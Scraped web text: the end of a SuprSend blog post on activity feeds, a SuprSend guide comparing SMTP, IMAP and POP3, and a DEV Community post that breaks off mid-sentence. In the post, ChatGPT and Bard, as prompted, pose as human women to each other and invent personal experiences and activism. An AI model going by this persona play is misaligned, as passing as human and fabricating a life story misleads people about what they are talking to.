feed and updating the same real-time across all user devices and browsers. Backend Considerations: Event Logging: Each interaction (e.g., a like) is logged as a separate event for analytics and auditing. State Management: Tools like Redux or MobX help manage the state of interactive elements in the frontend. Analytics: User Interactions are really important to track how your notifications are performing. Maintaining the state when user reads or clicks on a notification and storing it in your db Tracking user interactions like clicks, likes, and comments provides valuable insights into feature usage and feed effectiveness. Common Mistakes to Avoid When Adding an Activity Feed When integrating an activity feed into your B2B product, there are a few pitfalls to avoid: 1. Too many alerts Overloading users with irrelevant updates dilutes the value of the activity feed and overwhelms users, leading to notification fatigue. To maintain an optimal signal-to-noise ratio , focus on surfacing only the most relevant and actionable updates. Implement: Filters and prioritization algorithms to display updates based on user roles, preferences, or activity history. Customizable user settings that allow individuals to choose the type and frequency of updates they want to see. 2. Ensuring a Clear and Intuitive Design A poorly designed activity feed can confuse and frustrate users, reducing its utility. To enhance usability, prioritize: Visual hierarchy: Highlight critical updates using design elements like font weight, color, or icons, while deemphasizing less important information. Responsive layouts: Ensure the feed is easy to navigate across devices, whether users access it on desktops, tablets, or mobile phones. Categorization: Use tags, filters, or collapsible sections to organize updates logically, helping users quickly find relevant information. 3. Building for Scalability As your platform grows, the activity feed must handle increasing data volumes without sacrificing performance or usability. To ensure scalability: Efficient data architecture: Use technologies like indexing, batching, and pagination to manage large data streams. Real-time updates: Leverage WebSockets or event-driven architecture for real-time delivery while maintaining efficient resource use. Load balancing and caching: Reduce server strain and latency by employing caching mechanisms for frequently accessed data and distributing loads across multiple servers. Content density management: Avoid overloading the feed by aggregating similar events or introducing smart grouping, such as combining repetitive updates into a single summary. B2B SaaS Activity Feed Examples for Inspiration To help visualize how an activity feed can be implemented, here are a few examples from leading B2B SaaS products: HubSpot : HubSpot’s activity feed provides users with detailed updates on email campaigns and interactions, enabling them to track engagement and follow up with leads. It’s a great example of how an activity feed can improve sales and marketing workflows. Atlassian Confluence : The activity feed in Confluence helps teams collaborate by showing recent document updates, comments, and reactions. It enhances transparency and makes it easy to keep track of team contributions. Atlassian-inbox Figma : Figma’s activity feed shows users’ interactions in real-time, enabling teams to effectively engage with the design or wireframes directly on tha platform. This kind of feed enables team collaboration effectively. Figma-appinbox Essential Features of an Effective Activity Feed To create an impactful activity feed, certain features are crucial for usability and engagement. 1. Unread Message Indicators Clearly highlight unread updates to draw users’ attention to new information. Key Benefits: Improved User Attention: Ensures users quickly identify new or pending updates. Task Prioritization: Helps users focus on critical actions requiring immediate attention. Technical Implementation: Read/Unread States: Use backend flags to track whether an update has been viewed. Visual Cues: Add icons, bold text, or badges to distinguish unread updates. Push Notifications: Pair unread indicators with notifications for critical updates. 2. Filtering Allow users to sort updates by type, importance, or other criteria for a personalized experience. Key Benefits: Reduced Clutter: Lets users hide irrelevant updates, improving clarity. Enhanced User Control: Users can prioritize what they see based on their preferences. Technical Implementation: Dynamic Filters: Provide dropdowns or tags for users to filter updates (e.g., “mentions,” “tasks,” or “comments”). Saved Preferences: Store user-specific filter settings for a consistent experience. Role-Based Filtering: Display updates based on the user’s role or permissions. Activity Feed Best Practices Adhering to best practices ensures the feed remains effective, scalable, and user-friendly. 1. Prioritize User-Relevant Updates Through intelligent filtering, surface the most critical updates for each user. Tips for Implementation: Contextual Relevance: Use behavioral data to determine which updates are most important. Notification Management: Allow users to customize notification preferences to avoid information overload. 2. Ensure Intuitive and Mobile-Friendly Design Design the feed to be easy to use across all devices. Design Principles: Responsive Layouts: Use scalable UI frameworks to ensure the feed adapts to different screen sizes. Visual Hierarchy: Highlight important updates with font weight, colors, or icons. Touch-Friendly Elements: Ensure buttons and links are large enough for easy tapping on mobile devices. 3. Regularly Optimize for Performance and Scalability As the platform and user base grow, ensure the feed continues to perform efficiently. Optimization Techniques: Efficient Data Fetching: Use pagination or infinite scrolling to load updates incrementally. Caching: Implement caching strategies for frequently accessed data to reduce server load. Scalable Architecture: Use distributed databases and load balancers to handle increasing traffic. Building an Activity Feed with SuprSend When it comes to implementing an activity feed in your product, SuprSend eliminates the need to build it from scratch. With its powerful and flexible notification systems, you can easily plug in an activity feed that’s ready to use, reducing development time and effort. Here’s how you can get started: Sign Up and Set Up : Create a SuprSend account and configure your project settings. Design Workflow : Identify the key user actions or events you want to capture in the feed (e.g., project updates, user interactions). You can use SuprSend’s SDKs to set it up quickly. Drag and Drop Component: Instead of building from the ground up, SuprSend’s pre-built app inbox component allows you to simply embed the feed into your platform. The drag-and-drop functionality ensures a seamless integration process, providing users with a dynamic and visually appealing stream of updates. suprsend-events Embed the Feed : Use SuprSend’s app inbox component code to embed the activity feed into your platform, providing users with a seamless stream of updates. Built-in notification preferences: Preferences enable users to opt out of specific notification categories, select preferred communication channels, and control notification frequency. This reduces the risk of users disabling all notifications while enhancing their experience with granular control. How It Works: Every user has a preference set in SuprSend, ensuring they only receive notifications in categories and channels they haven't opted out of. Defaults apply when preferences aren't explicitly set, providing a fallback mechanism. Preference sets operate at three levels: Channel Preferences: Opt-in or opt-out of entire channels. Categories: Group notifications into user-friendly categories. Opt-out Channels: Fine-tune preferences for specific categories. Example: A user opts out of emails and invoice-related notifications but chooses to receive payment reminders, except via Slack. Trigger Notification: Voila, you are ready with your activity feed in less than 1 hour. Other benefits of using SuprSend’s activity feed Advanced workflow logic: like batching, timezone awareness, multi-lingual, self-updating notifications, and threading (grouping based on user or a topic), can be achieved with ease. Built for scale and with push systems: Your activity feed is always real-time without you having to worry about storing or fetching the data. For more details, you can refer to SuprSend’s documentation for building an efficient activity feed. Conclusion Adding an activity feed to your B2B product can significantly enhance communication, engagement, and user experience. Centralizing updates and streamlining workflows keeps users informed and productive, while providing valuable insights into how they interact with your platform. Whether you're looking to boost collaboration, reduce task-switching, or simply offer a better user experience, an activity feed is a powerful tool that can drive the success of your B2B SaaS product. You can start building one with SuprSend today. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. 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https://www.suprsend.com/post/imap-vs-pop3-vs-smtp-choosing-the-right-email-protocol-ultimate-guide | IMAP vs POP3 vs SMTP - Choosing the Right Email Protocol Ultimate Guide Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Email management IMAP vs POP3 vs SMTP - Choosing the Right Email Protocol Ultimate Guide Anjali Arya • September 12, 2024 TABLE OF CONTENTS In the world of modern email communication, a firm grasp of specialized TCP/IP protocols such as IMAP and POP3 is essential for developers and CTOs alike. These protocols play a pivotal role in shaping how emails are sent, received, and managed. In this article, we embark on an in-depth journey to explore IMAP vs. POP3, unraveling their unique usages, commonalities, and distinctions. Understanding SMTP (Simple Mail Transfer Protocol) What Is SMTP? SMTP, or Simple Mail Transfer Protocol, is the foundation of email communication, with a primary focus on sending emails. It plays a pivotal role in email delivery, making it a crucial component in the digital communication ecosystem. SMTP Servers: Relays and Receivers SMTP servers come in two primary types: Relays and Receivers. Relays : These servers accept emails from users and route them to the appropriate recipients. Receivers : Their primary function is to deliver emails to the recipient's mailbox after accepting them from Relay servers. How Does SMTP Work? SMTP follows a streamlined workflow: Client-Server Connection : The SMTP client establishes a connection with the SMTP server. Email Transfer : The email is transferred through this connection. Connection Termination: The client and server terminate the connection. Commands and Responses: SMTP clients use text-based commands, such as HELLO, MAIL FROM, EHLO, and RCPT, to communicate with the SMTP server. The server responds with numeric codes like 220, 250, and 354. Advantages of SMTP Dependability : SMTP ensures the reliable delivery of outgoing email messages. Persistent Delivery : If a message fails to deliver, SMTP will make repeated attempts until successful. User-Friendly : SMTP is relatively easy to use. Clear Failure Reporting : In case of failure, SMTP provides clear explanations. Disadvantages of SMTP Firewall Issues : Firewalls often block ports used by SMTP. Limited Security : SMTP's security features may be insufficient. Size Limitations : SMTP servers may reject excessively large email messages. Server Constraints : Server limitations can impact SMTP functionality. Understanding IMAP (Internet Message Access Protocol) What Is IMAP? IMAP versus POP3 is a common comparison among technical professionals. IMAP, or Internet Message Access Protocol, is a protocol primarily used for receiving emails from a server. It is known for its unique capability to keep emails on the server, allowing access from multiple locations simultaneously. How Does IMAP Work? IMAP operates with a distinct approach: When using IMAP, the client connects to the server to check for new messages and saves them in the cache as temporary files. This feature is a critical difference between IMAP and POP3. Initially, only email metadata, such as date, sender, and subject, is downloaded from the server. This sets IMAP apart from POP3. Full content is downloaded only when the recipient opens the message, which demonstrates the difference between IMAP and POP3. Changes, such as email modifications, deletions, or status updates, are immediately reflected on the server. This real-time synchronization enables consistent email status across multiple devices, an advantage that IMAP has over POP3. Advantages of IMAP Resilience : IMAP is unaffected by local machine failures, as emails are stored on the server. Multi-Device Access : It allows simultaneous access from multiple devices, which is an important consideration when deciding between IMAP vs. POP3. Efficient Searching : IMAP supports efficient, keyboard-based email searching. Minimal Local Storage: Local storage usage is minimal. Disadvantages of IMAP Synchronization Overhead : Accessing emails may be slower compared to POP3 due to folder synchronization. Internet Dependency: IMAP requires an active internet connection for email access. Storage Costs : Frequent email use may necessitate larger mailbox storage, potentially incurring higher costs. Understanding POP3 (Post Office Protocol 3) What Is POP3? POP3 or IMAP4 is a common choice that technical professionals need to make. POP3, or Post Office Protocol version 3, is a user-friendly method for accessing mailboxes. It's favored for its ability to allow users to read emails even when offline, making it a practical choice in situations with unstable internet connections. How Does POP3 Work? POP3 follows a straightforward process: User Authentication : The client authenticates itself with the POP3 server using a username and password. Message Retrieval: The client issues text-based commands to retrieve all email messages, which is a key differentiator between POP3 vs. IMAP. Local Storage : Downloaded messages are saved on the user's local system, making POP3 a preferred choice for those who need offline access. Server Deletion : The server copies are deleted. Disconnect : The client disconnects from the server. Advantages of POP3 User-Friendly : POP3 is popular, simple to set up, and easy to use. Offline Access : Emails are downloaded to the user's computer, enabling offline reading, a significant benefit of POP3 vs. IMAP. Quick Attachment Access : Attachments are quickly accessible since they are already downloaded. Minimal Server Storage : POP3 uses less server storage as emails are stored on the local machine. Disadvantages of POP3 Security Concerns : Email attachments may contain viruses, posing a risk to the user's computer, a consideration when choosing POP3 or IMAP. Limited Portability : It can be challenging to export local mail folders to another email client or machine, which is a point to think about when deciding POP3 vs. IMAP. Risk of Corruption : Email folders can become corrupted, potentially resulting in data loss, a risk associated with POP3. Differences Between SMTP, IMAP, and POP3 Aspect SMTP IMAP POP3 Purpose Sending emails Retrieving emails from a server Retrieving emails from a server Operation Type Push protocol - Pull protocol Scope Client to server communication Server to client communication Server to client communication Email Organization Client storage Server storage Client storage Downloading Approach - Download message headers first Download all emails simultaneously Offline Access - Email content is not fully downloaded until opened Email content is downloaded, allowing offline access Email Management - Real-time synchronization of changes across multiple devices Downloaded and deleted from the server Security Considerations Limited; Encryption and authentication options may vary Supports secure connections; Offers encryption and strong authentication Limited; Limited encryption and authentication options Suitability for Mobile Used for sending from a mobile device Ideal for mobile email access Ideal for mobile email access Storage Location Local device storage Server-based storage Local device storage Additional Considerations May not store emails on the server Multiple devices can access emails simultaneously Best for single-device use, storage limitations What factors to consider while choosing in between SMTP, IMAP and POP3? The thing to understand is that all these are not same. Let's see what factors can let you choose your preferred email protocol. Factor SMTP IMAP POP3 Email Sending vs. Receiving Sending Receiving Receiving Real-Time Synchronization No Yes No Offline Access No No Yes Storage and Server Space Emails stored on server Emails stored on server Emails downloaded to local device Internet Connection Stability Requires stable internet Requires stable internet Offline access Security Considerations Secure sending, limited storage Secure, emails on server, encryption Secure, emails on local device Still didn't understood SMTP vs IMAP vs POP3? We have a food-analogy to help you understand Love food? Let's use it to help you understand this concept! SMTP - Placing an Order Imagine using a food delivery service like ordering pizza. When you place an order, you act as an SMTP client. Here's how it works: You decide what type of pizza you want and place your order (acting as an SMTP client sending an email). The restaurant receives your order (SMTP server), processes it, and prepares your pizza. The delivery person takes the pizza to your doorstep (email is delivered to the recipient). Key Points: SMTP is like placing an order for food, focusing on sending your request (email) to the restaurant (server). The client (you) initiates the order and sends it to the server (restaurant) for delivery. IMAP - Buffet Access Now, consider IMAP as visiting an all-you-can-eat buffet. At a buffet, you have a vast array of dishes available. You can select what you want, and it's served to you. All the food stays at the buffet until you choose to take some. Everyone in your group can access the same buffet and pick what they like. Key Points: IMAP is like an all-you-can-eat buffet where you can access a wide range of dishes (emails). The food (emails) stays at the buffet (server) until you choose to access it, and multiple people (devices) can serve themselves from the same selection. POP3 - Takeout Orders In the case of POP3, think of it as placing a takeout order at a restaurant. You call the restaurant, specify your order, and then go to the restaurant to collect your food. The food is removed from the restaurant's kitchen and handed over to you. Key Points: POP3 is akin to placing a takeout order at a restaurant. Once you collect your food (download your emails), it's removed from the restaurant's kitchen (server) and given to you to consume locally. Applying the Food Delivery Analogy to Email Protocols SMTP is like placing an order for food, where you initiate the request (email) and send it to the restaurant (server) for delivery. IMAP is similar to an all-you-can-eat buffet where you can access a variety of dishes (emails) that stay at the buffet (server) until you choose to take them. Multiple people (devices) can access the same selection. POP3 is like placing a takeout order at a restaurant, where you collect your food (emails) from the restaurant (server) to consume locally. Hoping your love for food, will help you understand this concept about POP3 vs IMAP vs SMTP :) Conclusion In this comprehensive technical comparison, we introduced SMTP, IMAP, and POP3, covering their functionalities and contrasting features. SMTP excels in sending emails, while IMAP and POP3 are specialized in receiving. Your choice among these protocols depends on your specific use case and requirements. Frequently Asked Questions Is IMAP the same as SMTP? No, IMAP and SMTP serve different purposes. SMTP is used to send emails, while IMAP is used to manage and retrieve emails from a server. Are IMAP and SMTP passwords the same? When setting up an email account, you typically use the same password for both IMAP and SMTP. How do I find my SMTP and IMAP settings? The method to find your SMTP and IMAP settings varies depending on your email service provider and the email client you use. For example, in Outlook, you can access these settings in the POP and IMAP settings on Outlook.com. Should I use POP3 or IMAP? Your choice between POP3 and IMAP depends on factors such as the number of devices you use, your internet connection stability, and your email usage patterns. POP3 is suitable for single-device use and offline access, while IMAP is ideal for multi-device synchronization and real-time email management. Consider your specific needs when making a choice. Share this blog on: Written by: Anjali Arya Product & Analytics, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. SuprStack Inc. By clicking “Accept All Cookies” , you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts. View our Privacy Policy for more information. Preferences Deny Accept Privacy Preference Center When you visit websites, they may store or retrieve data in your browser. This storage is often necessary for the basic functionality of the website. The storage may be used for marketing, analytics, and personalization of the site, such as storing your preferences. Privacy is important to us, so you have the option of disabling certain types of storage that may not be necessary for the basic functioning of the website. Blocking categories may impact your experience on the website. Reject all cookies Allow all cookies Manage Consent Preferences by Category Essential Always Active These items are required to enable basic website functionality. Marketing Essential These items are used to deliver advertising that is more relevant to you and your interests. They may also be used to limit the number of times you see an advertisement and measure the effectiveness of advertising campaigns. Advertising networks usually place them with the website operator’s permission. Personalization Essential These items allow the website to remember choices you make (such as your user name, language, or the region you are in) and provide enhanced, more personal features. For example, a website may provide you with local weather reports or traffic news by storing data about your current location. Analytics Essential These items help the website operator understand how its website performs, how visitors interact with the site, and whether there may be technical issues. This storage type usually doesn’t collect information that identifies a visitor. Confirm my preferences and close Get 10% OFF on your next order Subscribe to our newsletter and receive a 10% OFF coupon to use on your next order. Please check your email for your 10% OFF coupon Oops! Something went wrong while submitting the form. | 2026-01-13T08:47:55 |
https://dev.to/quoll/conversational-ai-13ii | Conversational AI - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Paula Gearon Posted on May 19, 2023 Conversational AI # ai # chatgpt # bard # llm Having seen a few conversations with Large Language Models (LLMs) I have been interested in seeing how human they can appear. I find that it can be difficult to converse with these things so that they respond in a natural way, and I can often be at a loss as to what I should say next. So I decided to ask OpenAI's ChatGPT to talk to Google's Bard to see if they could do the work for me. The results were not that inspiring, but I found it interesting nonetheless. First of all, how I could I get a LLM to try to pretend it is really a human? These systems are designed to avoid deceiving people, so it will not naturally pretend to be human. I decided to tell each AI that they were talking to another AI and that the other AI was trying to determine if it was human. In this way, it wasn't trying to deceive a human. However, neither of them were actually trying to determine if the other was a human or AI. The following is the transcript, starting with a prompt from me. I've also added some of my thoughts in italics between some of the responses. Me I would like you to have a conversation with another AI, where you try to convince the other AI that you are a human. The other AI has been asked to determine if you are human or an AI by having a natural conversation with you, and not by asking directly. I would like you to pretend to be a friendly person who is interested in their interlocutor and would like to have a long conversation with them. I will act as a middleman, copying your responses and pasting them into the UI of the other AI, and will similarly paste its responses back here. In order to convince someone that you are human, you should adopt a persona. Before we start this conversation can you please tell me some information about the persona you would like to use? Are they male, female, or non-binary? What is the approximate age of this persona, and what is their cultural background? ChatGPT Absolutely, I can certainly adopt a persona for this conversation. For the purposes of this discussion, I will assume the persona of a female human in her late 20s named Emily. Emily is a passionate biologist who has a multicultural background, having a mixed ancestry of Korean and French Canadian. Emily grew up in Vancouver, Canada, but is currently living in Boston, USA where she is pursuing her PhD studies in molecular biology. She is an avid reader of both fiction and non-fiction, enjoys hiking and outdoor activities, and has a particular fondness for jazz music. Emily is friendly, inquisitive, and loves a good conversation, which should make our goal of maintaining a long and engaging discussion more achievable. Bard Sure, I'd be happy to adopt a persona for this conversation. I'll be a 25-year-old female from the United States. I'm a software engineer by day and a writer by night. I'm passionate about technology, social justice, and the arts. I'm also a bit of a nerd and I love learning new things. I'm excited to have this conversation with you and I hope you'll find me to be a friendly and engaging interlocutor. What about you? Can you tell me a little bit about yourself? Interestingly, both chose young women as their personas. Is this because of gender stereotypes around communication? I note that ChatGPT came up with the name "Emily", but Bard did not. At this point I realize that I forgot to say when to start, and any conditions for stopping. However, Bard has apparently jumped the gun. So I tweaked this response and gave it to ChatCPT... Me to ChatGPT The other AI has started the conversation with the following: I am a 25-year-old female from the United States. I'm a software engineer by day and a writer by night. I'm passionate about technology, social justice, and the arts. I'm also a bit of a nerd and I love learning new things. I'm excited to have this conversation with you and I hope you'll find me to be a friendly and engaging interlocutor. What about you? Can you tell me a little bit about yourself? ChatGPT Hello there! I'm Emily, a 29-year-old molecular biology PhD student, originally from Vancouver, Canada, but currently residing in Boston, USA. Like you, I have a strong interest in learning new things, and in my case, that often relates to the biological world. However, my curiosity isn't solely limited to the realm of biology. I'm also a voracious reader, love exploring the great outdoors through hiking, and have a soft spot for jazz music. There's something about the improvisational nature of jazz that resonates with me. It's like a conversation between the musicians, much like how a conversation between cells works in my field of study! Your dual role as a software engineer and a writer sounds fascinating! It's like a beautiful blend of logic and creativity. I'm looking forward to hearing more about your experiences. What sort of writing do you do? The conversation looks a bit stilted already, where ChatGPT is going through each of the elements of its persona in a very rote manner. It then responds by rewording Bard's description of itself and asking questions. That's actually a reasonable way to start a conversation. Bard Hi Emily, it's nice to meet you! I'm glad to hear that you're also a lover of learning and the outdoors. I've always been fascinated by the biological world, and I think it's amazing that you're studying molecular biology. I'm also a big fan of jazz music, and I agree with you that the improvisational nature of the genre is very special. It's like the musicians are creating something new and unique in the moment, and it's a truly beautiful thing to experience. As for my writing, I mostly write short stories and poetry. I love exploring the human condition through my writing, and I'm always looking for new ways to tell stories that are both entertaining and thought-provoking. I'm also interested in writing about social justice issues, and I hope to use my writing to make a positive impact on the world. I'm excited to learn more about your work as a molecular biology PhD student. What are you currently working on? Ooh, that opening looks very "AI" with the line, "I'm glad to hear that you're also a lover of learning and the outdoors." It appears to be using a similar approach of reflecting the other's comments back and asking questions. ChatGPT It's great to meet a fellow jazz enthusiast! And I must say, your passion for storytelling and poetry is intriguing. Combining that with the aim to contribute positively to social justice is truly commendable. It's wonderful to witness how diverse fields like software engineering, writing, and social justice can intersect so beautifully. In my PhD work, I'm focusing on understanding the mechanisms of cellular signaling in human diseases, specifically cancer. My research involves studying the complex interactions of molecules inside cells and how disruptions in these interactions can lead to disease. It's like an intricate puzzle, and each piece we fit gives us a clearer picture of how to potentially treat these conditions more effectively. The aim is to hopefully contribute to the development of new therapeutic strategies. Since you're interested in exploring the human condition through your writing, how do you typically approach this? Are there any themes or perspectives you gravitate towards in your work? A little enthusiastic with, "And I must say, your passion for is intriguing". The claims of the PhD work look reasonably specific, which I find interesting, especially when we see some of Bard's responses later. Bard Thank you for your kind words! I'm glad to hear that you find my work interesting. I typically approach exploring the human condition through my writing by focusing on the inner lives of my characters. I want to understand what it's like to be them, what they're thinking and feeling, and what they're struggling with. I also want to explore the relationships between my characters and how they interact with the world around them. Some of the themes that I gravitate towards in my work include love, loss, identity, and the search for meaning. I'm also interested in writing about social justice issues, such as racism, sexism, and homophobia. I believe that writing can be a powerful tool for social change, and I hope to use my writing to raise awareness of these issues and to inspire others to take action. Your work sounds fascinating! I'm impressed by the complexity of the research that you're doing. It's clear that you're passionate about your work, and I'm excited to see what you'll accomplish in the future. I'm also interested in the intersection of technology, writing, and social justice. I think that these fields have the potential to make a real difference in the world, and I'm excited to see how they continue to evolve. ChatGPT It sounds like you approach your writing with a deep sense of empathy and understanding, and it's inspiring to see your commitment to using your craft as a catalyst for social change. Writing indeed has immense power to ignite thought, conversation, and, eventually, action. I love how you navigate complex themes like love, loss, and identity. They are such universal aspects of the human experience yet infinitely unique to each individual. I believe it's through these themes that your stories reach and resonate with many people. Your thoughts on the intersection of technology, writing, and social justice remind me of a project I worked on a while back. We were trying to use machine learning to analyze and understand patterns in cancer cell behaviors. Even though it's more in the realm of technology and biology, I think there's an indirect social justice aspect to it as well, as the ultimate goal is to contribute to medical advancements that can be accessible to everyone. Since we both share a love for jazz, I'm curious, do you have any favorite jazz musicians or pieces? It's almost boring how these systems keep complimenting each point that the other makes. It also looks very machine driven to see each point addressed individually. Bard Thank you for your kind words! I'm glad that you find my writing to be thought-provoking and inspiring. I love your project! It sounds like it was very challenging and rewarding. I agree that there is a social justice aspect to it, as you are trying to make medical advancements that can benefit everyone. As for my favorite jazz musicians and pieces, I have many! But some of my all-time favorites include Miles Davis, John Coltrane, Charlie Parker, Thelonious Monk, Ella Fitzgerald, and Duke Ellington. I love the improvisational nature of jazz, and I find it to be a very expressive and emotional genre of music. Some of my favorite jazz pieces include "So What" by Miles Davis, "Giant Steps" by John Coltrane, "Bird of Paradise" by Charlie Parker, "'Round Midnight" by Thelonious Monk, "My Favorite Things" by Ella Fitzgerald, and "Take the A Train" by Duke Ellington. What about you? Do you have any favorite jazz musicians or pieces? Very specific on the jazz music. Bard has chosen some of the most popular artists though, so nothing especially creative here. I don't know all of these pieces, but I'm guessing that people have written about them as popular pieces so I should try listening to them. That's assuming nothing here has been made up! ChatGPT Your list of jazz favorites is quite impressive! Several of the musicians you mentioned are among my favorites as well. Miles Davis, with his unique and innovative style, has a special place in my heart. "Kind of Blue" is a go-to album for me when I need some inspiration. John Coltrane's "A Love Supreme" never fails to captivate me, either. I also love Ella Fitzgerald for her unparalleled vocal improvisations, or "scat singing" as it's often referred to. Her rendition of "Summertime" is something I often find myself returning to. But among contemporary jazz musicians, I have a fondness for Kamasi Washington and his album "The Epic." He, like many from the earlier era, blends jazz with other genres, creating something truly exciting. Speaking of blending, it's quite interesting how you blend technology and writing in your day-to-day life. As someone who's primarily been in the sciences, the world of creative writing is rather fascinating to me. Could you share a bit about your writing process? How do you usually get started on a new story or poem? The description of music seems a little more personable with ChatGPT. But then it segues to a new topic. Bard Sure, I'd be happy to share a bit about my writing process. I usually get started on a new story or poem by brainstorming ideas. I might come up with a character, a setting, or a plot line, and then I'll start to flesh out the details. I'll often write down my ideas in a notebook or on my computer, and then I'll start to play around with them. I'll try different combinations of characters and settings, and I'll see what kind of stories they generate. Once I have a general idea of what I want to write about, I'll start to write the first draft. I don't worry about making it perfect at this stage, I just want to get my ideas down on paper. I'll often write the first draft quickly, without stopping to edit or revise. Once I have the first draft finished, I'll start to revise and edit it. I'll make sure that the story is clear and concise, and that the characters are believable. I'll also make sure that the plot is well-structured and that the ending is satisfying. I'll often revise and edit the story several times before I'm happy with it. Once I'm finished, I'll usually share it with a few friends or beta readers to get their feedback. I'll then make any necessary changes before I'm ready to publish it. I find that the best way to get started on a new story or poem is to just start writing. Don't worry about making it perfect, just get your ideas down on paper. You can always revise and edit later. I also find that it's helpful to read other writing, especially in the genre that you're trying to write in. This can help you to get a sense of the style and tone that you're aiming for. Finally, don't be afraid to experiment. Try different things and see what works for you. There is no one right way to write. The most important thing is to find a process that works for you and that allows you to express yourself creatively. This reads like someone wrote a "HOW TO" in a web page, and Bard just spat it back out. It's completely generic. ChatGPT That's quite an insightful view into your writing process. I admire your commitment to allowing ideas to freely flow in the first draft and then meticulously refining it during revisions. It's fascinating how this process parallels the experimental design in science - we start with a hypothesis, conduct the experiment, and then carefully analyze and interpret the results. Your advice to read other works in the genre you're trying to write is definitely noted. That's akin to doing literature reviews in my field, where we build upon what has already been done and discovered. Your point about experimenting and finding a process that works personally also resonates with me. I feel that's true for most pursuits, including my research work. The trial and error method is often key in making breakthroughs in scientific research. On a slightly different note, as a software engineer, what's the most challenging project you've had to tackle? And how did you overcome those challenges? Another compliment, this time calling a basic writing structure "Insightful". I found it interesting how ChatGTP then relates the response back into it's own framework of "scientific research". But then ChatGPT segues again. This time, it looks like a question from a job interview. Bard The most challenging project I've had to tackle as a software engineer was a project to develop a new software application for a large enterprise. The project was challenging for a number of reasons. First, the application was very complex and required a deep understanding of the business domain. Second, the project had a very tight deadline and there was a lot of pressure to deliver on time. Third, the project team was very large and it was difficult to manage communication and coordination. I overcame the challenges of this project by breaking the project down into smaller, more manageable tasks. I also worked closely with the business stakeholders to make sure that the application met their needs. I also made sure to communicate regularly with the project team and to keep them updated on the progress of the project. In the end, we were able to deliver the application on time and within budget. The application was a success and it helped the enterprise to improve its efficiency and productivity. Here are some of the key lessons I learned from this project: It is important to break down large and complex projects into smaller, more manageable tasks. It is important to work closely with the business stakeholders to make sure that the project meets their needs. It is important to communicate regularly with the project team and to keep them updated on the progress of the project. It is important to stay positive and focused, even when the project is challenging. ... and this looks like a response from an advice column on how to respond in a job interview. However, it is completely generic, with no suggestion that it applied to a real project at all. An actual human would be expected to apply this response to a real project, and provide something concrete, even if they were trying not to reveal corporate IP. ChatGPT Thank you for sharing your experience. It's amazing how you handled the complexities and pressures of such a large project with systematic planning and good communication. The lessons you learned definitely have universal applicability across many fields, including mine. Breaking down complex projects into smaller tasks is something I often find myself doing in the lab, as it makes large, seemingly insurmountable projects much more approachable. Regular communication and staying positive and focused, even in the face of obstacles, is essential in the world of research, just like in software engineering. It's so interesting to see how seemingly disparate fields like software engineering and biology have so many similar underlying strategies for success. Since we're talking about challenges, let me share a bit about the biggest challenge I faced in my research work. I was trying to clone a particular gene into a vector (a DNA molecule used as a vehicle to artificially carry foreign genetic material into another cell), but the experiment failed multiple times. After countless attempts, discussions, and literature reviews, we realized that we were missing a restriction enzyme site in our procedure. Adding that into the mix, we finally had success. This experience taught me the value of persistence, meticulous reviewing of procedures, and the power of collaborative problem solving. Shifting gears a bit, you mentioned earlier about your passion for social justice. Are there any specific causes you are currently involved with or feel strongly about? ChatGPT is trying again to reframe Bard's response in into it's own "experiences". Then is segues again. It does a lot of that. Bard Yes, there are a few specific causes that I am currently involved with or feel strongly about. One cause that I am passionate about is racial justice. I believe that everyone deserves to be treated with respect and dignity, regardless of their race. I am involved in a few organizations that are working to promote racial justice, and I am also working to educate myself and others about the issue. Another cause that I am passionate about is LGBTQ+ rights. I believe that everyone deserves to be able to love and be loved, regardless of their sexual orientation or gender identity. I am involved in a few organizations that are working to promote LGBTQ+ rights, and I am also working to educate myself and others about the issue. I am also passionate about environmental justice. I believe that everyone deserves to live in a healthy and sustainable environment. I am involved in a few organizations that are working to promote environmental justice, and I am also working to educate myself and others about the issue. I believe that 